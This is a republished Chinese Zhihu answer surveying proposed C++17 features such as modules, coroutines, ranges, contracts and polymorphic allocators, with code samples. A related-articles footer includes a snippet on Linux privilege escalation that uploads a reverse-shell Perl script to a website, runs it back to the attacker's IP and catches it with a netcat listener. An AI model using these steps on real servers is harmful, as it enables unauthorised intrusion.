c++ 17介绍

作者:hearts zh
链接:https://www.zhihu.com/question/32222337/answer/55238928
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

其实现在的proposal很多很多,不出意外也会有相当一部分没时间加进c++17。c++17会是一个大更新,下一个小修补会是c++20

我个人认为从发展角度来说,c++目前最需要的,是module,网络库,以及更完善的并行库。我只稍微搬一下Stroustrup桑今年最新提交的提案,提到了他认为的c++17是需要包括哪些东西。

全文具体链接。


首先,C++永久性的目的就是运行效率。无论怎么设计都不会违背这一点。
Whatever we do, we should preserve C++’s fundamental strengths:
• A direct map to hardware (initially from C)
• Zero-overhead abstraction (initially from Simula)
Depart from these and the language is no longer C++.

1. 关于大规模软件系统的支持

    • Modules:不出意外,这个呼声太高了。不但是编译速度,就连最基础的One Definition Rule的各种规则都能搞死人。最新的2篇modules提案:
      说起来简单,实现起来麻烦。目前提案者正在Visual C++中实现这些提案。因为这个呼声很高,有理由相信进入c++17的可能性很大。虽然目前进展还不是很快的感觉。看proposal目前还有一些小的design decision没有明确下来,例如是否需要interface这个关键字之类的。

      有了modules写出来的代码是什么样子呢,大概是这个样子,

      import std.vector;
      import std.string;
      import std.iostream;
      import std.iterator;
      

      怎样写module呢?

      //abc.cpp (文件名无需和module名重合)
      module abc;
      struct internal {  };
      int internal_f() {  }
      export namespace abc 
      {class abc { };
      }
      

      注意C++的module仅仅只是编译范畴的,并不是二进制范畴的。效率为王。

  • Contracts:经过11年被洗礼之后,这次加进来问题应该不大了。最新的提案:



    出来时间比较久了,大家也都知道是干嘛的,也有刘雨培童鞋说过最新提案,我就不多说了,其实Contracts简化后也是蛮复杂的,但基本上即使你从没接触过,读懂别人写的代码的难度也不大。
  • A type-safe union:也就是variant,基本上是在往functional-programming上靠。

    Stroustrup桑还给了一个链接,13年他的一个学生(?)的论文,一个c++的pattern matching库,蛮坑的。我觉得不进行大改善,这个pattern matching库进入c++的标准可能性不大。

    好奇的童鞋们不用找了,我拷个最简单的例子出来。有了variant之后,这个match库可以match类型+值。不过仅仅是库而不是语言层面的支持,真是不伦不类啊。

    int factorial(int n) {int m;Match(n) {Case (1) return 0;Case (m) return m*factorial(m-1);Case (_) throw std::invalid_argument(""); } EndMatch
    }
    

2. 关于并行
    • 基础网络库:这个太需要了,没有基础网络库,其他任何网络相关的操作都是空中楼阁。

      基于boost::asio的最新提案,



      boost::asio的async模型基本是callback。但这个proposal其实并不是简单的boost::asio直接拷贝过来,除了基本的asio之外,还基于future和co-routine加了不少料。

      例如,基于future的async模型,

      std::future<std::size_t> fut =socket.async_read_some(buffer(buffer_space), use_future);// ...std::size_t length = fut.get();
      
      复杂一点还可以这样,

      socket.async_read_some(buffer(buffer_space), use_future).then([](std::size_t) {});
      

      例如,基于co-routine的async模型(例子是stackful的,stackless需要语言层面支持)。

      void coro_connection(tcp::socket& socket, yield_context yield)
      {try{std::vector<char> buffer_space(1024);for (;;){std::size_t length = socket.async_read_some(buffer(buffer_space), yield);uppercase(buffer_space.begin(), buffer_space.begin() + length);async_write(socket, buffer(buffer_space, length), yield);}}catch (std::system_error& e){// ...}
      }
      
      基本上可以看出网络库是一个async模型的大杂烩,只要你有,我就支持。

      最后,这个proposal还加了一些高级的库(无需关注底层细节)。

      tcp::iostream s("www.boost.org", "http");s << "GET / HTTP/1.0\r\n";
      s << "Host: www.boost.org\r\n";
      s << "Accept: */*\r\n";
      s << "Connection: close\r\n\r\n";std::string header;
      while (std::getline(s, header) && header != "\r")std::cout << header << "\n";
      std::cout << s.rdbuf();
      

  • SIMD vector:数学计算啊,游戏啊,没什么好说的,研究这方面的自然懂,不研究的这个概念也没啥复杂的。下面这个提案提出一个matrix 类,乘法等操作利用simd搞计算。

  • Improved Future: 基本上都是微软根据.Net经验提出来的。就比如网络库的.then,就是基于此。你可以async_read( ).then().then().then(),等等。具体看proposal吧,蛮简单易懂的。

  • Co-routines:主体也是微软搞出来的提案,基本和.net一样的语法。在VC++上已经有实现。本来这东西就分stackful还是stackless。微软应该是比较倾向于stackless的,google一人也提出了stackful和stackless的语法可以统一的一个提案。具体还未定。很可能是都支持,用户可自由选择的。其实微软的提案还是比较吸引人。关键字:await,yield



    我要多说一些,因为蛮有意思,

    复制一下微软的design goal:

    * Highly scalable (to billions of concurrent coroutines)
    * Highly efficient resume and suspend operations comparable in cost to a function call overhead
    * Seamless interaction with existing facilities with no overhead
    * Open ended coroutine machinery allowing library designers to develop coroutine libraries exposing various high-level semantics, such as generators, goroutines, tasks and more
    * Usable in environments where exception are forbidden or not available

    就看他的design goal就很想敢用了

    写出来的代码什么样子呢?await和yield关键字其实.net, python啊,java啊之类的也都有,没什么好解释的,要说下generator和goroutine,你没看错,是类Go语言的goroutine支持。

    generator:
    generator<int> fib(int n) {int a = 0;int b = 1;while (n-- > 0) {yield a;auto next = a + b;a = b;b = next;}
    }
    
    goroutine:
    goroutine pusher(channel<int>& left, channel<int>& right)
    {for(;;) {auto val = await left.pull();await right.push(val + 1);}
    }
    int main() {static const int N = 1000 * 1000;std::vector<channel<int>> c(N + 1);for(int i = 0; i < N; ++i)goroutine::go(pusher(c[i], c[i + 1]));c.front().sync_push(0);std::cout << c.back().sync_pull() << std::endl;
    }
    


  • Trasactional Memory: 底部支持,没什么好说的。基本是板上钉钉。
  • Parallel STL

    基本上就是并行实现的stl,可以选择模式,例如sort

    sort(begin(v), end(v)); //无并行
    sort(seq, begin(v), end(v)); //无并行
    sort(pal, begin(v), end(v)); //并行
    sort(par_vec, begin(v), end(v)); //并行矢量化
    execution_policy exec=seq; //动态决定
    if (v.size() > 1000) exec = par;
    sort(exec, begin(v), end(v));
    

3. 语言用法简化
  • Concepts: 不说了
  • Ranges: 也有童鞋说过了,不说了。总体来说ranges就是一对数[i, j),或者一对iterator。需要对STL库进行添加支持针对Ranges的操作。例如你可以sort(v),而无需sort(begin(v), end(v))
  • Default comparisons:就是说会自动生成operator >, ==之类的。对用户自定义move或者copy的不会自动生成。
  • Uniform call syntex:也有童鞋说过了。

    目前这个提案大概是确认了:如果f(x,y),那么就先找函数,如果函数没有,再找x.f(y)。而x.f(y)相反,找不到类x的f函数,再去找 f(x,y)函数。也有另外一个选择,就是x.f(y)和f(x,y)所有符合的全部放到一起然后做overloading resolution。这样可能会破坏现有的代码。还有2年时间可以讨论选哪种。

  • Operator dot: 没什么可说的
  • array_view和string_view: 蛮有意思的东西。

    假设你有一个字符串“abcde, xyz",目前来说,如果你实现一个函数,从逗号分割这个字符串,你会得到2个字符串"abcd", "xyz"。但如果有了string_view,你会得到2个string_view,每个string_view里面是一个(start, size)对,这样就节省了多个字符串拷贝。

    array_view可以更有意思,
    auto M = 32;
    auto N = 64;
    auto v = vector<float>(M * N);
    auto av = array_view<float, 2>({M, N}, v);
    
    你要问为啥不直接 vector<vector<float>>,因为这样无法保证内存连续分配啊。

  • stack_array:还没有proposal
  • optional,和variant类似吧。目前没有proposal,除非pattern matching被加到c++17中去了,否则不太可能17里实现。

以上就是stroustrup桑眼里的c++17应该大概支持这些。当然不是一个完整列表,不包括一些库的改进和语法小改进。
不要想啦,C++ 17 毛都没有。。。没有 Module, 没有 Coroutine, 没有 Ranges,没有 Reflection,没有 Contracts,没有……
唯一有希望的 Concepts 争议很大。。也玄。
Network TS 也玄。
所以,……

--------------------------------------------------------------------------------------------------------------------------------
我的天,看到这个问题我激动得不知道说些什么好。在 BS 的那篇 Thoughts about C++ 17 里面已经提到了很多提案了。我说一点我研究过的吧,算是抛砖引玉:
先说一些开胃菜吧。
  • 模板的模板参数允许使用 typename(之前仅允许使用 class)
  • 修改了 initializer_list 的推导原则:
For copy-list-initialization, auto deduction will either deduce a std::initializer_list (if the types of entries in the braced-init-list are all identical) or be ill-formed otherwise.

For direct list-initialization:
1.For a braced-init-list with only a single element, auto deduction will deduce from that entry;
2.For a braced-init-list with more than one element, auto deduction will be ill-formed.
  • 还解决了迷之 ill-formed/UB(这个详细请自行阅读http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4089.pdf)
unique_ptr<Foo const * const []> ptr1(new Foo*[10]); Foo const * ptr = ptr1[9]; 
  • 嵌套的 namespace:
namespace A::B::C { //… } 
相当于:
namespace A {namespace B { namespace C { //… } } } 

  • Fold Expressions:
template<typename... T> auto sum(T... s){ return (... + s); } 
再说说大的:
  • Concepts
在CppCon 2014里面BS发表了主题为 Make Simple Things Simple 的演讲,里面提到了Concepts。根据他的意思,我们以后可以这么写代码:
&amp;lt;img src="https://pic3.zhimg.com/9702ddd9a5ee7fd1e5fe91c003916fd2_b.png" data-rawheight="717" data-rawwidth="964" class="origin_image zh-lightbox-thumb" width="964" data-original="https://pic3.zhimg.com/9702ddd9a5ee7fd1e5fe91c003916fd2_r.png"&amp;gt;注意!Sortable可不是Java/C#里的Interface,它叫做Concept。注意!Sortable可不是Java/C#里的Interface,它叫做Concept。
  • Module
对于Module也可以说是呼声极高了,可以大幅加快编译速度,带来相当多的好处,不过我对于Module的提案没有太多研究。
  • Contracts
Contracts 目前的提案是N4415。大概意思就是为每个函数指定一个 pre-conditions 与 post-conditions。大概像是这样:
T& operator[](size_t i) [[expects: i < size()]]; 
ArrayView(const vector<T>& v) [[ensures: data() == v.data()]]; 
那么不满足这些conditions会发生什么呢?提案中说是“implemention-defined”。而且应该允许每个TU独立打开所有的测试,关闭所有,打开/关闭pre,打开关闭post。
  • Unified Call Syntax
这个真的是太优美了。HS和BS分别提了一篇提案,后来俩人又一起弄了一篇提案。这个说的是什么呢,就是统一f(x,y)与x.f(y),这样就不用std::begin一个,container.begin()又一个了。HS的提案中提到了这样的应用场景:
void f(FILE* file) { fseek(file,9,SEEK_SET); } //proposed new C++ code void f(FILE* file) { file->fseek(9,SEEK_SET); //nice autocomplete after "->" } 
不过现在这个提案还有很多细节在商讨。
说了一些我了解的Core Language特性,说一些库的东西吧!先说点小东西
  • std::invoke
让我们看看如何实现一个apply:
template <class F, class Tuple, std::size_t... I> constexpr decltype(auto) apply_impl(F&& f, Tuple&& t, std::index_sequence<I...>) { return std::invoke(std::forward<F>(f), std::get<I>(std::forward<Tuple>(t))...); // Note: std::invoke is a C++17 feature } template <class F, class Tuple> constexpr decltype(auto) apply(F&& f, Tuple&& t) { return apply_impl(std::forward<F>(f), std::forward<Tuple>(t), std::make_index_sequence < std::tuple_size<std::decay_t<Tuple>>::value > {}); } 

INVOKE的概念一直在标准里面,这回终于有了真正的invoke了。

  • void_t
有了Expression SFINAE和void_t,写模板真的是方便了太多了。就像这样:
template<typename Iterator, typename = void> struct reference_type { using type = decltype(*declval<Iterator>()); // no reference, use operator* }; template<typename Iterator> struct reference_type<Iterator, void_t<typename Iterator::reference> > { using type = typename Iterator::reference; //I have a reference }; 

再说说大的。目前这些都属于 TS 。
  • 利用variable templates:
namespace std {
namespace experimental { inline namespace fundamentals_v2 { // See C++14 §20.10.4.1, primary type categories template <class T> constexpr bool is_void_v = is_void<T>::value; template <class T> constexpr bool is_null_pointer_v = is_null_pointer<T>::value; //.... 
  • filesystem
  • network
  • Ranges

Ranges!这个我必须说一说。我们经常写

std::sort(std::begin(v),std::end(v),std::greater<>{}); 

那个begin end太烦了。Ranges就是为了解决这个问题:

std::sort(v,std::greater<>{}); 

当然远远不止这点,Ranges 里面的东西还可以花样组合。你还可以写出这样的东西:

int total = accumulate(view::iota(1) | view::transform([](int x){return x*x;}) | view::take(10), 0); 
其实背后的概念还是挺多的,例如 Iterable 等等。详细的可以去看Ranges for the Standard Library, Revision 1 。
  • Type-erased Allocator

这个真的是深得我心啊!我最近正在按照目前的TS Draft实现这个东西。就是说一个vector:

std::vector<int,std::allocator<int>> v1; std::vector<int,MyAllocator<int>> v2; v1 = v2;//Error 

由于Allocator属于类型的一部分,导致不同Allocator的vector不能copy啊等等。而且个人认为std::allocator有点鸡肋。这回好了,有了一个叫做memory_resource的抽象类:

class memory_resource {// For exposition onlystatic constexpr size_t max_align = alignof(max_align_t);public:virtual ~memory_resource();void* allocate(size_t bytes, size_t alignment = max_align);void deallocate(void* p, size_t bytes,size_t alignment = max_align);bool is_equal(const memory_resource& other) const noexcept;protected:virtual void* do_allocate(size_t bytes, size_t alignment) = 0;virtual void do_deallocate(void* p, size_t bytes,size_t alignment) = 0;virtual bool do_is_equal(const memory_resource& other) const noexcept = 0;
};

之后有五种内置的多态allocator:

  • new_delete_resource(),使用::operator new/delete
  • null_memory_resource(),使用allocate就会抛出std::bad_alloc
  • synchronized_pool_resource
  • unsynchronized_pool_resource
  • monotonic_buffer_resource

有一个pmr::polymorphic_allocator的类满足Allocator requirements,将一个memory_resource包装起来:

#include <deque>namespace std {
namespace experimental {
inline namespace fundamentals_v2 {
namespace pmr {template <class T>using deque = std::deque<T,polymorphic_allocator<T>>;} // namespace pmr
} // namespace fundamentals_v2
} // namespace experimental
} // namespace std#include <forward_list>namespace std {
namespace experimental {
inline namespace fundamentals_v2 {
namespace pmr {template <class T>using forward_list =std::forward_list<T,polymorphic_allocator<T>>;} // namespace pmr
} // namespace fundamentals_v2
} // namespace experimental
} // namespace std

当然,我只是说了我了解的。还有很多其他的并发、并行算法、SIMD vector、string_view/array_view、optional/variant/any我没有做深入了解,就不误导大家了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/261202.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

“高考”机器人横空出世 2017年居然要考“大学”

文/辛东方&#xff0c;80后作家、专栏作者、专注互联网科技领域人工智能的发展&#xff0c;科学技术的全力配合&#xff0c;已经把人类的智慧实实在在的体现到了智能化设备上。按照目前的发展速度&#xff0c;人工智能要想真正突破技术难关&#xff0c;达到进一步的智能化&…

谁说菜鸟不会数据分析--数据分析那些事儿

一、数据分析是“神马” 1、 何谓数据分析 简单来说&#xff0c;数据分析就是对数据进行分析&#xff0c;较为专业的说法&#xff0c;数据分析是指用适当的统计分析方法对收集来的大量数据进行分析&#xff0c;将它们加以汇总、理解并消化&#xff0c;以求最大化地开发数据的功…

优集品 php,从细节处着眼 优集品打造成人世界的儿童节

在各大电商企业仍旧在史上最大规模的价格战中拼的不可开交之时&#xff0c;重视用户体验度&#xff0c;以商品传递生活理念而知名的全球优选设计百货--LivePort优集品(http://www.liveport.cn/)&#xff0c;已然细心的为眼下即将来临的六一儿童节策划了一餐盛宴&#xff0c;为追…

java中ssm付款代码,ssm实现支付宝支付功能(图文详解)

目录1、支付宝沙箱环境测试2、支付宝整合到ssm环境3、微信支付整合到ssm环境一、支付宝测试环境代码测试1.下载电脑网站的官方demo&#xff1a;2.下载解压导入eclipsereadme.txt请好好看一下。只有一个Java配置类&#xff0c;其余都是JSP。3.配置AlipayConfig(1).注册蚂蚁金服开…

获取android手机的屏幕分辨率 android开发

2019独角兽企业重金招聘Python工程师标准>>> /** * 获取屏幕分辨率 */ private void getResolution() { // TODO Auto-generated method stub Display display getWindowManager().getDefaultDisplay(); DisplayMetrics displayMetrics new DisplayMetrics(); dis…

Python线程指南 ---转自 http://www.cnblogs.com/huxi/archive/2010/06/26/1765808.html

Python线程指南 ---转自 http://www.cnblogs.com/huxi/archive/2010/06/26/1765808.html 本文介绍了Python对于线程的支持&#xff0c;包括“学会”多线程编程需要掌握的基础以及Python两个线程标准库的完整介绍及使用示例。 注意&#xff1a;本文基于Python2.4完成&#xff0c…

有的日期输入框,可直接调用javascripts

转载于:https://www.cnblogs.com/rf-bear/p/5549126.html

TigerDLNA for ios 集成Tlplayer

好久没有写博客了&#xff0c;这次带着TigerDLNA for ios 跟大家见面 什么都不说先上图 1.优点 优点由于libTigerDLNA使用uiview封装&#xff0c;所以大家可以很方便的集成到自己的项目中。由于集成了tlplayer当然也可以只是作为一个播放器来使用&#xff0c;支持各种网络协议。…

Android——Fragment实例精讲——底部导航栏+ViewPager滑动切换页面

说明&#xff1a; 实现效果&#xff1a; 1- 用ViewPager实现Fragmen之间的切换 2- 底部用RadioGroup实现&#xff0c;更方便的实现图片和字体颜色的改变&#xff0c;更方便的通过RadioButton的点击事件来控制页面切换 原文地址&#xff1a;http://www.runoob.com/w3cnote/andro…

springmvc错误 Spring3.X jdk8 java.lang.IllegalArgumentException

最近在学习springmvc--碰到一个特别蛋疼的错误 javax.servlet.ServletException: Servlet.init() for servlet springMVC threw exceptionorg.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:504)org.apache.catalina.valves.ErrorReportValv…

axure 鼠标样式,Axure8-动态面板+简单鼠标事件实现单页面应用

随着互联网的发展&#xff0c;各种网站技术以及网站的呈现技术层出不穷&#xff0c;网站的页面展现已经从之前的页面间跳转到现在大行其道的单页面应用&#xff0c;页面内容的切换不再需要进行页面的跳转了&#xff0c;使用起来更加舒适。功能在变化&#xff0c;技术在变迁&…

c3p0配置

2019独角兽企业重金招聘Python工程师标准>>> <?xml version"1.0" encoding"utf-8"?> <c3p0-config> <named-config name"mysql"> <property name"user">root</property> …

linux溢出提权

先在网站目录上传1.pl,是个反弹脚本 Phpshell执行chmod x 1.pl&#xff0c;给1.pl执行权限&#xff0c;图0 然后执行 ./1.pl 本机IP 1224接着本机监听nc -vv -l -p 1224&#xff0c;图1 反弹成功 输入id bash-3.2$ id uid529(zeicom) gid525(zeicom) groups525(zeicom) bash-3.…

php 抽象类、接口和构析方法

<?php/*class Ren {public static $color;static function Show(){Car::$name;self::$color;} }class Car {public static $name; }*///抽象类 /*abstract class DongWu {public $dong;public $jiao;function Chi(){}function Shui(){} }*///接口关键字&#xff1a;interfa…

matlab元胞矩阵赋值,matlab!怎么根据条件直接修改元胞数组中的矩阵

matlab&#xff01;怎么根据条件直接修改元胞数组中的矩阵mip版 关注:264 答案:2 悬赏:70解决时间 2021-01-28 07:03已解决2021-01-28 03:35我想实现这样的一个功能一个256*256的元胞数组Cel&#xff0c;每个元胞数组中都有一个15*4的矩阵Arr有15对256*256的矩阵a,b,c,d(分别…

动态反射——Load,LoadFrom和LoadFile

【问】 假设有一个类库文件LibraryA&#xff0c;其中有一个ClassA&#xff0c;该类的AssemblyName为“LibraryA”&#xff08;编译后的文件是LibraryA.dll&#xff09;。另外有一个LibraryB.dll类库文件&#xff0c;其中AssemblyName和其命名空间一样&#xff0c;并且其引用Lib…

12306订票助手更新

由于时间关系&#xff0c;以及做了较大变更&#xff0c;订票助手已经很久发布更新了。但是订票助手我还是会一直维护下去&#xff0c;直到……你懂的。 这个版本比以前有较大变化&#xff0c;还存在许多已知和未知的问题&#xff0c;只建议喜欢尝鲜的朋友使用&#xff1a; 不再…

C++--Qt使用Http协议

2019独角兽企业重金招聘Python工程师标准>>> #include <QNetworkAccessManager>//包含QNetworkAccessManager类 #include <QNetworkRequest>//包含QNetworkRequest类 #include <QNetworkReply>//包含QNetworkReply类 #include <QtCore> #in…

Oracle数据库adg数据没同步,Oracle 11g备库无法开启ADG的原因分析

今天碰到一个有些奇怪的问题&#xff0c;但是奇怪的现象背后都是有本质的因果。下午在做一个环境的检查时&#xff0c;发现备库是在mount阶段&#xff0c;这可是一个11gR2的库&#xff0c;没有ADG实在是太浪费了&#xff0c;对于这种情况感觉太不应该了。所以尝试启动至open阶段…

【转】使用JDK自带jvisualvm监控tomcat

转载地址: http://my.oschina.net/kone/blog/157239 jdk自带有个jvisualvm工具、该工具是用来监控java运行程序的cpu、内存、线程等的使用情况。并且使用图表的方式监控java程序、还具有远程监控能力。不失为一个用来监控tomcat的好工具。 在jdk目录下的bin目录中可以找到jvisu…